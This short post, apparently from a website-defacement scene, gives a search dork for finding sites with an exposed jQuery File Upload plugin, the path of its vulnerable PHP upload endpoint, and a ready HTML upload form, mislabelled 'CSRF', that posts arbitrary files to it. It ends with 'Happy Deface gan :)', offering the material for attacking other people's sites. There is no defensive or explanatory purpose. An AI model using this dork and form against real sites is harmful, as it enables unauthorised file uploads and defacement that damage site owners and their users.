JQuery File Upload Vulnerability

Dork : /assets/global/plugins/jquery-file-upload/ 
Exploit : http://localhost/assets/global/plugins/jquery-file-upload/server/php/

CSRF: <form method="POST" action="localhost/assets/global/plugins/jquery-file-upload/server/php/"

enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

Happy Deface gan :)

Tweet